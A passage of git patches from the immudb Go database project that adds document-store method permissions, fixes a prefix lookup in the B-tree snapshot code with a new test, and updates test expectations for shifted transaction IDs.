b/pkg/auth/permissions.go index 4e765c56e8..18243553f0 100644 --- a/pkg/auth/permissions.go +++ b/pkg/auth/permissions.go @@ -43,6 +43,14 @@ var maintenanceMethods = map[string]struct{}{ "ListTables": {}, "DescribeTable": {}, "VerifiableSQLGet": {}, + "DocumentInsert": {}, + "DocumentSearch": {}, + "CollectionCreate": {}, + "CollectionGet": {}, + "CollectionList": {}, + "CollectionDelete": {}, + "DocumentAudit": {}, + "DocumentProof": {}, // admin methods "ListUsers": {}, @@ -104,6 +112,14 @@ var methodsPermissions = map[string][]uint32{ "ListTables": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "DescribeTable": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, "VerifiableSQLGet": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, + "DocumentInsert": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, + "DocumentSearch": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, + "CollectionCreate": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, + "CollectionGet": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, + "CollectionList": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, + "CollectionDelete": {PermissionSysAdmin, PermissionAdmin, PermissionRW}, + "DocumentAudit": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, + "DocumentProof": {PermissionSysAdmin, PermissionAdmin, PermissionRW, PermissionR}, // admin methods "ListUsers": {PermissionSysAdmin, PermissionAdmin}, @@ -125,7 +141,7 @@ var methodsPermissions = map[string][]uint32{ "ReplicateTx": {PermissionSysAdmin, PermissionAdmin}, } -//HasPermissionForMethod checks if userPermission can access method name +// HasPermissionForMethod checks if userPermission can access method name func HasPermissionForMethod(userPermission uint32, method string) bool { methodPermissions, ok := methodsPermissions[method] if !ok { From c66a011532b23023dbdcd6ca6ffbadeb6ffed47a Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 14 Mar 2023 14:42:40 -0300 Subject: [PATCH 0329/1062] fix(embedded/tbtree): fix snapshot getKeyWithPrefix Signed-off-by: Jeronimo Irazabal test(embedded/tbtree): getWithPrefix validations Signed-off-by: Jeronimo Irazabal --- embedded/tbtree/snapshot.go | 10 ++++++- embedded/tbtree/tbtree.go | 24 ++++++++-------- embedded/tbtree/tbtree_test.go | 51 ++++++++++++++++++++++++++++++++++ 3 files changed, 72 insertions(+), 13 deletions(-) diff --git a/embedded/tbtree/snapshot.go b/embedded/tbtree/snapshot.go index 9955bff52e..0c937e7b05 100644 --- a/embedded/tbtree/snapshot.go +++ b/embedded/tbtree/snapshot.go @@ -138,7 +138,15 @@ func (s *Snapshot) GetWithPrefix(prefix []byte, neq []byte) (key []byte, value [ leafValue := leaf.values[off] - return leafValue.key, cp(leafValue.value), leafValue.ts, leafValue.hCount + uint64(len(leafValue.tss)), nil + if len(prefix) > len(leafValue.key) { + return nil, nil, 0, 0, ErrKeyNotFound + } + + if bytes.Equal(prefix, leafValue.key[:len(prefix)]) { + return leafValue.key, cp(leafValue.value), leafValue.ts, leafValue.hCount + uint64(len(leafValue.tss)), nil + } + + return nil, nil, 0, 0, ErrKeyNotFound } func (s *Snapshot) NewHistoryReader(spec *HistoryReaderSpec) (*HistoryReader, error) { diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index 506f103a9b..18a6b4ff3d 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -227,7 +227,7 @@ type node interface { insert(kvts []*KVT) ([]node, int, error) get(key []byte) (value []byte, ts uint64, hc uint64, err error) history(key []byte, offset uint64, descOrder bool, limit int) ([]uint64, uint64, error) - findLeafNode(keyPrefix []byte, path path, offset int, neqKey []byte, descOrder bool) (path, *leafNode, int, error) + findLeafNode(seekKey []byte, path path, offset int, neqKey []byte, descOrder bool) (path, *leafNode, int, error) minKey() []byte ts() uint64 setTs(ts uint64) (node, error) @@ -1928,7 +1928,7 @@ func (n *innerNode) history(key []byte, offset uint64, descOrder bool, limit int return n.nodes[n.indexOf(key)].history(key, offset, descOrder, limit) } -func (n *innerNode) findLeafNode(keyPrefix []byte, path path, offset int, neqKey []byte, descOrder bool) (path, *leafNode, int, error) { +func (n *innerNode) findLeafNode(seekKey []byte, path path, offset int, neqKey []byte, descOrder bool) (path, *leafNode, int, error) { metricsBtreeInnerNodeEntries.WithLabelValues(n.t.path).Observe(float64(len(n.nodes))) if descOrder { @@ -1940,8 +1940,8 @@ func (n *innerNode) findLeafNode(keyPrefix []byte, path path, offset int, neqKey continue } - if bytes.Compare(minKey, keyPrefix) < 1 { - return n.nodes[j].findLeafNode(keyPrefix, append(path, &pathNode{node: n, offset: i}), 0, neqKey, descOrder) + if bytes.Compare(minKey, seekKey) < 1 { + return n.nodes[j].findLeafNode(seekKey, append(path, &pathNode{node: n, offset: i}), 0, neqKey, descOrder) } } @@ -1955,7 +1955,7 @@ func (n *innerNode) findLeafNode(keyPrefix []byte, path path, offset int, neqKey for i := offset; i < len(n.nodes)-1; i++ { nextMinKey := n.nodes[i+1].minKey() - if bytes.Compare(keyPrefix, nextMinKey) >= 0 { + if bytes.Compare(seekKey, nextMinKey) >= 0 { continue } @@ -1963,7 +1963,7 @@ func (n *innerNode) findLeafNode(keyPrefix []byte, path path, offset int, neqKey continue } - path, leafNode, off, err := n.nodes[i].findLeafNode(keyPrefix, append(path, &pathNode{node: n, offset: i}), 0, neqKey, descOrder) + path, leafNode, off, err := n.nodes[i].findLeafNode(seekKey, append(path, &pathNode{node: n, offset: i}), 0, neqKey, descOrder) if errors.Is(err, ErrKeyNotFound) { continue } @@ -1971,7 +1971,7 @@ func (n *innerNode) findLeafNode(keyPrefix []byte, path path, offset int, neqKey return path, leafNode, off, err } - return n.nodes[len(n.nodes)-1].findLeafNode(keyPrefix, append(path, &pathNode{node: n, offset: len(n.nodes) - 1}), 0, neqKey, descOrder) + return n.nodes[len(n.nodes)-1].findLeafNode(seekKey, append(path, &pathNode{node: n, offset: len(n.nodes) - 1}), 0, neqKey, descOrder) } func (n *innerNode) ts() uint64 { @@ -2140,12 +2140,12 @@ func (r *nodeRef) history(key []byte, offset uint64, descOrder bool, limit int) return n.history(key, offset, descOrder, limit) } -func (r *nodeRef) findLeafNode(keyPrefix []byte, path path, offset int, neqKey []byte, descOrder bool) (path, *leafNode, int, error) { +func (r *nodeRef) findLeafNode(seekKey []byte, path path, offset int, neqKey []byte, descOrder bool) (path, *leafNode, int, error) { n, err := r.t.nodeAt(r.off, true) if err != nil { return nil, nil, 0, err } - return n.findLeafNode(keyPrefix, path, offset, neqKey, descOrder) + return n.findLeafNode(seekKey, path, offset, neqKey, descOrder) } func (r *nodeRef) minKey() []byte { @@ -2362,7 +2362,7 @@ func (l *leafNode) history(key []byte, offset uint64, desc bool, limit int) ([]u return tss, hCount, nil } -func (l *leafNode) findLeafNode(keyPrefix []byte, path path, _ int, neqKey []byte, descOrder bool) (path, *leafNode, int, error) { +func (l *leafNode) findLeafNode(seekKey []byte, path path, _ int, neqKey []byte, descOrder bool) (path, *leafNode, int, error) { metricsBtreeLeafNodeEntries.WithLabelValues(l.t.path).Observe(float64(len(l.values))) if descOrder { for i := len(l.values); i > 0; i-- { @@ -2372,7 +2372,7 @@ func (l *leafNode) findLeafNode(keyPrefix []byte, path path, _ int, neqKey []byt continue } - if bytes.Compare(key, keyPrefix) < 1 { + if bytes.Compare(key, seekKey) < 1 { return path, l, i - 1, nil } } @@ -2385,7 +2385,7 @@ func (l *leafNode) findLeafNode(keyPrefix []byte, path path, _ int, neqKey []byt continue } - if bytes.Compare(keyPrefix, v.key) < 1 { + if bytes.Compare(seekKey, v.key) < 1 { return path, l, i, nil } } diff --git a/embedded/tbtree/tbtree_test.go b/embedded/tbtree/tbtree_test.go index 7724d7cb79..4e62d5fc73 100644 --- a/embedded/tbtree/tbtree_test.go +++ b/embedded/tbtree/tbtree_test.go @@ -1528,3 +1528,54 @@ func TestMultiTimedBulkInsertion(t *testing.T) { err = tbtree.Close() require.NoError(t, err) } + +func TestGetWithPrefix(t *testing.T) { + tbtree, err := Open(t.TempDir(), DefaultOptions()) + require.NoError(t, err) + + defer tbtree.Close() + + key1 := []byte{1, 82, 46, 0, 0, 0, 1} + key2 := []byte{2, 82, 46, 0, 0, 0, 1} + + err = tbtree.Insert(key1, []byte("value")) + require.NoError(t, err) + + err = tbtree.Insert(key2, []byte("value")) + require.NoError(t, err) + + t.Run("get with prefix over tbtree", func(t *testing.T) { + _, _, _, _, err = tbtree.GetWithPrefix(key1, key1) + require.ErrorIs(t, err, ErrKeyNotFound) + + k, _, _, _, err := tbtree.GetWithPrefix(key1, nil) + require.NoError(t, err) + require.Equal(t, key1, k) + + _, _, _, _, err = tbtree.GetWithPrefix(key2, key2) + require.ErrorIs(t, err, ErrKeyNotFound) + + k, _, _, _, err = tbtree.GetWithPrefix(key2, nil) + require.NoError(t, err) + require.Equal(t, key2, k) + }) + + t.Run("get with prefix over a snapshot", func(t *testing.T) { + snap, err := tbtree.Snapshot() + require.NoError(t, err) + + _, _, _, _, err = snap.GetWithPrefix(key1, key1) + require.ErrorIs(t, err, ErrKeyNotFound) + + k, _, _, _, err := snap.GetWithPrefix(key1, nil) + require.NoError(t, err) + require.Equal(t, key1, k) + + _, _, _, _, err = snap.GetWithPrefix(key2, key2) + require.ErrorIs(t, err, ErrKeyNotFound) + + k, _, _, _, err = snap.GetWithPrefix(key2, nil) + require.NoError(t, err) + require.Equal(t, key2, k) + }) +} From 5a0e228a9ffee87435619c5e0afa3c0decb290f5 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Wed, 15 Mar 2023 07:23:15 +0530 Subject: [PATCH 0330/1062] chore(pkg/database): add document store db initialisation --- embedded/document/schema.go | 12 ------------ embedded/document/schema_test.go | 27 --------------------------- pkg/database/database.go | 20 ++++++++++---------- pkg/database/meta.go | 1 + 4 files changed, 11 insertions(+), 49 deletions(-) delete mode 100644 embedded/document/schema.go delete mode 100644 embedded/document/schema_test.go diff --git a/embedded/document/schema.go b/embedded/document/schema.go deleted file mode 100644 index e4958dd487..0000000000 --- a/embedded/document/schema.go +++ /dev/null @@ -1,12 +0,0 @@ -package document - -import ( - "github.com/codenotary/immudb/embedded/sql" -) - -var ObjectPrefix = []byte{3} - -func DefaultOptions() *sql.Options { - return sql.DefaultOptions(). - WithPrefix(ObjectPrefix) -} diff --git a/embedded/document/schema_test.go b/embedded/document/schema_test.go deleted file mode 100644 index 2675d34d7f..0000000000 --- a/embedded/document/schema_test.go +++ /dev/null @@ -1,27 +0,0 @@ -package document - -import ( - "reflect" - "testing" - - "github.com/codenotary/immudb/embedded/sql" -) - -func TestDefaultOptions(t *testing.T) { - tests := []struct { - name string - want *sql.Options - }{ - { - name: "default options", - want: sql.DefaultOptions().WithPrefix(ObjectPrefix), - }, - } - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - if got := DefaultOptions(); !reflect.DeepEqual(got, tt.want) { - t.Errorf("DefaultOptions() = %v, want %v", got, tt.want) - } - }) - } -} diff --git a/pkg/database/database.go b/pkg/database/database.go index e855ecc0f6..371d5055c7 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -217,7 +217,7 @@ func OpenDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log l return nil, err } - dbi.documentEngine, err = document.NewEngine(dbi.st, document.DefaultOptions()) + dbi.documentEngine, err = document.NewEngine(dbi.st, sql.DefaultOptions().WithPrefix([]byte{DocumentPrefix})) if err != nil { return nil, err } @@ -374,7 +374,7 @@ func NewDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log lo return nil, logErr(dbi.Logger, "Unable to open database: %s", err) } - dbi.documentEngine, err = document.NewEngine(dbi.st, document.DefaultOptions()) + dbi.documentEngine, err = document.NewEngine(dbi.st, sql.DefaultOptions().WithPrefix([]byte{DocumentPrefix})) if err != nil { return nil, logErr(dbi.Logger, "Unable to open database: %s", err) } @@ -391,15 +391,15 @@ func NewDB(dbName string, multidbHandler sql.MultiDBHandler, op *Options, log lo return nil, logErr(dbi.Logger, "Unable to open database: %s", err) } - // _, _, err = dbi.documentEngine.ExecPreparedStmts(context.Background(), nil, []sql.SQLStmt{&sql.CreateDatabaseStmt{DB: dbInstanceName}}, nil) - // if err != nil { - // return nil, logErr(dbi.Logger, "Unable to open database: %s", err) - // } + _, _, err = dbi.documentEngine.ExecPreparedStmts(context.Background(), nil, []sql.SQLStmt{&sql.CreateDatabaseStmt{DB: dbInstanceName}}, nil) + if err != nil { + return nil, logErr(dbi.Logger, "Unable to open database: %s", err) + } - // err = dbi.documentEngine.SetCurrentDatabase(context.Background(), dbInstanceName) - // if err != nil { - // return nil, logErr(dbi.Logger, "Unable to open database: %s", err) - // } + err = dbi.documentEngine.SetCurrentDatabase(context.Background(), dbInstanceName) + if err != nil { + return nil, logErr(dbi.Logger, "Unable to open database: %s", err) + } } dbi.sqlEngine.SetMultiDBHandler(multidbHandler) diff --git a/pkg/database/meta.go b/pkg/database/meta.go index b1bb9be228..b76b5805f9 100644 --- a/pkg/database/meta.go +++ b/pkg/database/meta.go @@ -27,6 +27,7 @@ const ( SetKeyPrefix byte = iota SortedSetKeyPrefix SQLPrefix + DocumentPrefix ) const ( From 333ba75207252bb0597e8d178e40dd6041a32537 Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Wed, 15 Mar 2023 07:32:56 +0530 Subject: [PATCH 0331/1062] fix: modify tests for new object db initialisation --- embedded/document/engine_test.go | 2 +- pkg/database/all_ops_test.go | 8 +++--- pkg/database/database_test.go | 16 ++++++------ pkg/database/reference_test.go | 10 +++---- pkg/database/scan_test.go | 8 +++--- pkg/database/sorted_set_test.go | 26 +++++++++---------- pkg/database/sql_test.go | 2 +- pkg/database/truncator_test.go | 11 ++++---- pkg/integration/client_test.go | 2 +- .../stream/stream_replication_test.go | 2 +- pkg/truncator/truncator_test.go | 3 ++- 11 files changed, 46 insertions(+), 44 deletions(-) diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 2a6f84f311..2d2e5f1bf3 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -22,7 +22,7 @@ func makeEngine(t *testing.T) *Engine { } }) - opts := DefaultOptions() + opts := sql.DefaultOptions() engine, err := NewEngine(st, opts) require.NoError(t, err) diff --git a/pkg/database/all_ops_test.go b/pkg/database/all_ops_test.go index c796f81963..9792a512a8 100644 --- a/pkg/database/all_ops_test.go +++ b/pkg/database/all_ops_test.go @@ -153,7 +153,7 @@ func TestSetBatch(t *testing.T) { txhdr, err := db.Set(context.Background(), &schema.SetRequest{KVs: kvList}) require.NoError(t, err) - require.Equal(t, uint64(b+2), txhdr.Id) + require.Equal(t, uint64(b+3), txhdr.Id) for i := 0; i < batchSize; i++ { key := []byte(strconv.FormatUint(uint64(i), 10)) @@ -161,7 +161,7 @@ func TestSetBatch(t *testing.T) { entry, err := db.Get(context.Background(), &schema.KeyRequest{Key: key, SinceTx: txhdr.Id}) require.NoError(t, err) require.Equal(t, value, entry.Value) - require.Equal(t, uint64(b+2), entry.Tx) + require.Equal(t, uint64(b+3), entry.Tx) vitem, err := db.VerifiableGet(context.Background(), &schema.VerifiableGetRequest{KeyRequest: &schema.KeyRequest{Key: key}}) //no prev root require.NoError(t, err) @@ -272,7 +272,7 @@ func TestExecAllOps(t *testing.T) { idx, err := db.ExecAll(context.Background(), &schema.ExecAllRequest{Operations: atomicOps}) require.NoError(t, err) - require.Equal(t, uint64(b+2), idx.Id) + require.Equal(t, uint64(b+3), idx.Id) } zScanOpt := &schema.ZScanRequest{ @@ -332,7 +332,7 @@ func TestExecAllOpsZAddOnMixedAlreadyPersitedNotPersistedItems(t *testing.T) { index, err := db.ExecAll(context.Background(), aOps) require.NoError(t, err) - require.Equal(t, uint64(3), index.Id) + require.Equal(t, uint64(4), index.Id) list, err := db.ZScan(context.Background(), &schema.ZScanRequest{ Set: []byte(`mySet`), diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index f5e96627cf..0d123223ac 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -112,7 +112,7 @@ func TestDefaultDbCreation(t *testing.T) { n, err := db.Size() require.NoError(t, err) - require.Equal(t, uint64(1), n) + require.Equal(t, uint64(2), n) _, err = db.Count(context.Background(), nil) require.Error(t, err) @@ -228,12 +228,12 @@ func TestDbSetGet(t *testing.T) { for i, kv := range kvs[:1] { txhdr, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) require.NoError(t, err) - require.Equal(t, uint64(i+2), txhdr.Id) + require.Equal(t, uint64(i+3), txhdr.Id) if i == 0 { alh := schema.TxHeaderFromProto(txhdr).Alh() copy(trustedAlh[:], alh[:]) - trustedIndex = 2 + trustedIndex = 3 } keyReq := &schema.KeyRequest{Key: kv.Key, SinceTx: txhdr.Id} @@ -385,13 +385,13 @@ func TestCurrentState(t *testing.T) { for ind, val := range kvs { txhdr, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: val.Key, Value: val.Value}}}) require.NoError(t, err) - require.Equal(t, uint64(ind+2), txhdr.Id) + require.Equal(t, uint64(ind+3), txhdr.Id) time.Sleep(1 * time.Second) state, err := db.CurrentState() require.NoError(t, err) - require.Equal(t, uint64(ind+2), state.TxId) + require.Equal(t, uint64(ind+3), state.TxId) } } @@ -413,7 +413,7 @@ func TestSafeSetGet(t *testing.T) { }, }, }, - ProveSinceTx: 2, + ProveSinceTx: 3, }) require.Equal(t, ErrIllegalState, err) @@ -465,7 +465,7 @@ func TestSafeSetGet(t *testing.T) { }, }) require.NoError(t, err) - require.Equal(t, uint64(ind+2), vit.Entry.Tx) + require.Equal(t, uint64(ind+3), vit.Entry.Tx) } } @@ -489,7 +489,7 @@ func TestSetGetAll(t *testing.T) { txhdr, err := db.Set(context.Background(), &schema.SetRequest{KVs: kvs}) require.NoError(t, err) - require.Equal(t, uint64(2), txhdr.Id) + require.Equal(t, uint64(3), txhdr.Id) itList, err := db.GetAll(context.Background(), &schema.KeyListRequest{ Keys: [][]byte{ diff --git a/pkg/database/reference_test.go b/pkg/database/reference_test.go index abb7a09e3f..fed1a49937 100644 --- a/pkg/database/reference_test.go +++ b/pkg/database/reference_test.go @@ -70,7 +70,7 @@ func TestStoreReference(t *testing.T) { } txhdr, err = db.SetReference(context.Background(), refOpts) require.NoError(t, err) - require.Equal(t, uint64(3), txhdr.Id) + require.Equal(t, uint64(4), txhdr.Id) keyReq := &schema.KeyRequest{Key: []byte(`myTag`), SinceTx: txhdr.Id} @@ -171,7 +171,7 @@ func TestStoreReferenceAsyncCommit(t *testing.T) { ref, err := db.SetReference(context.Background(), refOpts) require.NoError(t, err, "n=%d", n) - require.Equal(t, n+2+2, ref.Id, "n=%d", n) + require.Equal(t, n+3+2, ref.Id, "n=%d", n) } for n := uint64(0); n <= 64; n++ { @@ -215,7 +215,7 @@ func TestStoreMultipleReferenceOnSameKey(t *testing.T) { reference1, err := db.SetReference(context.Background(), refOpts1) require.NoError(t, err) - require.Exactly(t, uint64(4), reference1.Id) + require.Exactly(t, uint64(5), reference1.Id) require.NotEmptyf(t, reference1, "Should not be empty") refOpts2 := &schema.ReferenceRequest{ @@ -226,7 +226,7 @@ func TestStoreMultipleReferenceOnSameKey(t *testing.T) { } reference2, err := db.SetReference(context.Background(), refOpts2) require.NoError(t, err) - require.Exactly(t, uint64(5), reference2.Id) + require.Exactly(t, uint64(6), reference2.Id) require.NotEmptyf(t, reference2, "Should not be empty") refOpts3 := &schema.ReferenceRequest{ @@ -237,7 +237,7 @@ func TestStoreMultipleReferenceOnSameKey(t *testing.T) { } reference3, err := db.SetReference(context.Background(), refOpts3) require.NoError(t, err) - require.Exactly(t, uint64(6), reference3.Id) + require.Exactly(t, uint64(7), reference3.Id) require.NotEmptyf(t, reference3, "Should not be empty") firstTagRet, err := db.Get(context.Background(), &schema.KeyRequest{Key: []byte(`myTag1`), SinceTx: reference3.Id}) diff --git a/pkg/database/scan_test.go b/pkg/database/scan_test.go index 86dc7e3c7c..06f26f67dc 100644 --- a/pkg/database/scan_test.go +++ b/pkg/database/scan_test.go @@ -269,7 +269,7 @@ func TestStoreScanEndKey(t *testing.T) { func TestStoreScanWithTruncation(t *testing.T) { rootPath := t.TempDir() - fileSize := 12 + fileSize := 6 options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(fileSize) @@ -333,9 +333,9 @@ func TestStoreScanWithTruncation(t *testing.T) { list, err := db.Scan(context.Background(), &scanOptions) require.NoError(t, err) require.GreaterOrEqual(t, len(list.Entries), 6) - require.Equal(t, list.Entries[0].Key, []byte(`prefix:suffix3`)) - require.Equal(t, list.Entries[1].Key, []byte(`prefix:suffix4`)) - require.Equal(t, list.Entries[2].Key, []byte(`prefix:suffix5`)) + require.Equal(t, list.Entries[0].Key, []byte(`prefix:suffix2`)) + require.Equal(t, list.Entries[1].Key, []byte(`prefix:suffix3`)) + require.Equal(t, list.Entries[2].Key, []byte(`prefix:suffix4`)) scanOptions = schema.ScanRequest{ SeekKey: []byte(`prefix?`), diff --git a/pkg/database/sorted_set_test.go b/pkg/database/sorted_set_test.go index 18027b0e50..0b26c7eb89 100644 --- a/pkg/database/sorted_set_test.go +++ b/pkg/database/sorted_set_test.go @@ -43,7 +43,7 @@ func TestStoreIndexExists(t *testing.T) { reference1, err1 := db.ZAdd(context.Background(), zaddOpts1) require.NoError(t, err1) - require.Exactly(t, uint64(5), reference1.Id) + require.Exactly(t, uint64(6), reference1.Id) require.NotEmptyf(t, reference1, "Should not be empty") zaddOpts2 := &schema.ZAddRequest{ @@ -54,7 +54,7 @@ func TestStoreIndexExists(t *testing.T) { reference2, err2 := db.ZAdd(context.Background(), zaddOpts2) require.NoError(t, err2) - require.Exactly(t, uint64(6), reference2.Id) + require.Exactly(t, uint64(7), reference2.Id) require.NotEmptyf(t, reference2, "Should not be empty") zaddOpts2 = &schema.ZAddRequest{ @@ -75,7 +75,7 @@ func TestStoreIndexExists(t *testing.T) { reference3, err3 := db.ZAdd(context.Background(), zaddOpts3) require.NoError(t, err3) - require.Exactly(t, uint64(7), reference3.Id) + require.Exactly(t, uint64(8), reference3.Id) require.NotEmptyf(t, reference3, "Should not be empty") zscanOpts := &schema.ZScanRequest{ @@ -147,7 +147,7 @@ func TestStoreIndexEqualKeys(t *testing.T) { reference1, err1 := db.ZAdd(context.Background(), zaddOpts1) require.NoError(t, err1) - require.Exactly(t, uint64(6), reference1.Id) + require.Exactly(t, uint64(7), reference1.Id) require.NotEmptyf(t, reference1, "Should not be empty") zaddOpts2 := &schema.ZAddRequest{ @@ -160,7 +160,7 @@ func TestStoreIndexEqualKeys(t *testing.T) { reference2, err2 := db.ZAdd(context.Background(), zaddOpts2) require.NoError(t, err2) - require.Exactly(t, uint64(7), reference2.Id) + require.Exactly(t, uint64(8), reference2.Id) require.NotEmptyf(t, reference2, "Should not be empty") zaddOpts3 := &schema.ZAddRequest{ @@ -173,7 +173,7 @@ func TestStoreIndexEqualKeys(t *testing.T) { reference3, err3 := db.ZAdd(context.Background(), zaddOpts3) require.NoError(t, err3) - require.Exactly(t, uint64(8), reference3.Id) + require.Exactly(t, uint64(9), reference3.Id) require.NotEmptyf(t, reference3, "Should not be empty") zscanOpts1 := &schema.ZScanRequest{ @@ -210,7 +210,7 @@ func TestStoreIndexEqualKeysEqualScores(t *testing.T) { reference1, err1 := db.ZAdd(context.Background(), zaddOpts1) require.NoError(t, err1) - require.Exactly(t, uint64(5), reference1.Id) + require.Exactly(t, uint64(6), reference1.Id) require.NotEmptyf(t, reference1, "Should not be empty") zaddOpts2 := &schema.ZAddRequest{ @@ -224,7 +224,7 @@ func TestStoreIndexEqualKeysEqualScores(t *testing.T) { reference2, err2 := db.ZAdd(context.Background(), zaddOpts2) require.NoError(t, err2) - require.Exactly(t, uint64(6), reference2.Id) + require.Exactly(t, uint64(7), reference2.Id) require.NotEmptyf(t, reference2, "Should not be empty") zaddOpts3 := &schema.ZAddRequest{ @@ -238,7 +238,7 @@ func TestStoreIndexEqualKeysEqualScores(t *testing.T) { reference3, err3 := db.ZAdd(context.Background(), zaddOpts3) require.NoError(t, err3) - require.Exactly(t, uint64(7), reference3.Id) + require.Exactly(t, uint64(8), reference3.Id) require.NotEmptyf(t, reference3, "Should not be empty") zscanOpts1 := &schema.ZScanRequest{ @@ -604,7 +604,7 @@ func TestStoreZScanOnZAddIndexReference(t *testing.T) { reference1, err1 := db.ZAdd(context.Background(), zaddOpts1) require.NoError(t, err1) - require.Exactly(t, uint64(5), reference1.Id) + require.Exactly(t, uint64(6), reference1.Id) require.NotEmptyf(t, reference1, "Should not be empty") zaddOpts2 := &schema.ZAddRequest{ @@ -617,7 +617,7 @@ func TestStoreZScanOnZAddIndexReference(t *testing.T) { reference2, err2 := db.ZAdd(context.Background(), zaddOpts2) require.NoError(t, err2) - require.Exactly(t, uint64(6), reference2.Id) + require.Exactly(t, uint64(7), reference2.Id) require.NotEmptyf(t, reference2, "Should not be empty") zaddOpts3 := &schema.ZAddRequest{ @@ -630,7 +630,7 @@ func TestStoreZScanOnZAddIndexReference(t *testing.T) { reference3, err3 := db.ZAdd(context.Background(), zaddOpts3) require.NoError(t, err3) - require.Exactly(t, uint64(7), reference3.Id) + require.Exactly(t, uint64(8), reference3.Id) require.NotEmptyf(t, reference3, "Should not be empty") zscanOpts1 := &schema.ZScanRequest{ @@ -681,7 +681,7 @@ func TestStoreVerifiableZAdd(t *testing.T) { ProveSinceTx: i1.Id, }) require.NoError(t, err) - require.Equal(t, uint64(3), vtx.Tx.Header.Id) + require.Equal(t, uint64(4), vtx.Tx.Header.Id) ekv := EncodeZAdd(req.Set, req.Score, EncodeKey(req.Key), req.AtTx) require.Equal(t, ekv.Key, vtx.Tx.Entries[0].Key) diff --git a/pkg/database/sql_test.go b/pkg/database/sql_test.go index bdd4f4db33..1cfe6df4ec 100644 --- a/pkg/database/sql_test.go +++ b/pkg/database/sql_test.go @@ -118,7 +118,7 @@ func TestSQLExecAndQuery(t *testing.T) { Table: "table1", PkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}}, }, - ProveSinceTx: 4, + ProveSinceTx: 5, }) require.Equal(t, store.ErrIllegalState, err) diff --git a/pkg/database/truncator_test.go b/pkg/database/truncator_test.go index 58bb5afbd2..b10d5656da 100644 --- a/pkg/database/truncator_test.go +++ b/pkg/database/truncator_test.go @@ -426,7 +426,7 @@ func Test_vlogCompactor_without_data(t *testing.T) { db := makeDbWith(t, "db", options) - require.Equal(t, uint64(1), db.st.LastCommittedTxID()) + require.Equal(t, uint64(2), db.st.LastCommittedTxID()) deletePointTx := uint64(1) @@ -437,18 +437,19 @@ func Test_vlogCompactor_without_data(t *testing.T) { require.NoError(t, c.Truncate(context.Background(), hdr.ID)) + expectedCommitTx := uint64(3) // ensure that a transaction is added for the sql catalog commit - require.Equal(t, uint64(2), db.st.LastCommittedTxID()) + require.Equal(t, expectedCommitTx, db.st.LastCommittedTxID()) // verify that the transaction added for the sql catalog commit has the truncation header - hdr, err = db.st.ReadTxHeader(2, false, false) + hdr, err = db.st.ReadTxHeader(expectedCommitTx, false, false) require.NoError(t, err) require.NotNil(t, hdr.Metadata) require.True(t, hdr.Metadata.HasTruncatedTxID()) // verify using the ReadTx API that the transaction added for the sql catalog commit has the truncation header ptx := store.NewTx(db.st.MaxTxEntries(), db.st.MaxKeyLen()) - err = db.st.ReadTx(2, false, ptx) + err = db.st.ReadTx(expectedCommitTx, false, ptx) require.NoError(t, err) require.True(t, ptx.Header().Metadata.HasTruncatedTxID()) } @@ -617,7 +618,7 @@ func Test_vlogCompactor_for_read_conflict(t *testing.T) { options.storeOpts.VLogCacheSize = 0 db := makeDbWith(t, "db", options) - require.Equal(t, uint64(1), db.st.LastCommittedTxID()) + require.Equal(t, uint64(2), db.st.LastCommittedTxID()) for i := 1; i <= 10; i++ { kv := &schema.KeyValue{ diff --git a/pkg/integration/client_test.go b/pkg/integration/client_test.go index 84e72f1203..e39c8892ae 100644 --- a/pkg/integration/client_test.go +++ b/pkg/integration/client_test.go @@ -1062,7 +1062,7 @@ func TestImmuClient_TxScan(t *testing.T) { }) require.IsType(t, &schema.TxList{}, txls) require.NoError(t, err) - require.Len(t, txls.Txs, 3) + require.Len(t, txls.Txs, 4) txls, err = client.TxScan(ctx, &schema.TxScanRequest{ InitialTx: 4, diff --git a/pkg/integration/stream/stream_replication_test.go b/pkg/integration/stream/stream_replication_test.go index 9dfd250edc..865ed54206 100644 --- a/pkg/integration/stream/stream_replication_test.go +++ b/pkg/integration/stream/stream_replication_test.go @@ -77,7 +77,7 @@ func TestImmuClient_ExportAndReplicateTx(t *testing.T) { ) rctx := metadata.NewOutgoingContext(context.Background(), rmd) - for i := uint64(1); i <= 2; i++ { + for i := uint64(1); i <= 3; i++ { exportTxStream, err := client.ExportTx(context.Background(), &schema.ExportTxRequest{ Tx: i, SkipIntegrityCheck: true, diff --git a/pkg/truncator/truncator_test.go b/pkg/truncator/truncator_test.go index 173cd6d828..6b813c3f8f 100644 --- a/pkg/truncator/truncator_test.go +++ b/pkg/truncator/truncator_test.go @@ -85,7 +85,8 @@ func TestDatabase_truncate_with_duration(t *testing.T) { err = tr.Truncate(ctx, dur) require.NoError(t, err) - for i := uint64(1); i < hdr.ID-1; i++ { + // TODO: hard to determine the actual transaction up to which the database was truncated. + for i := uint64(1); i < hdr.ID-2; i++ { kv 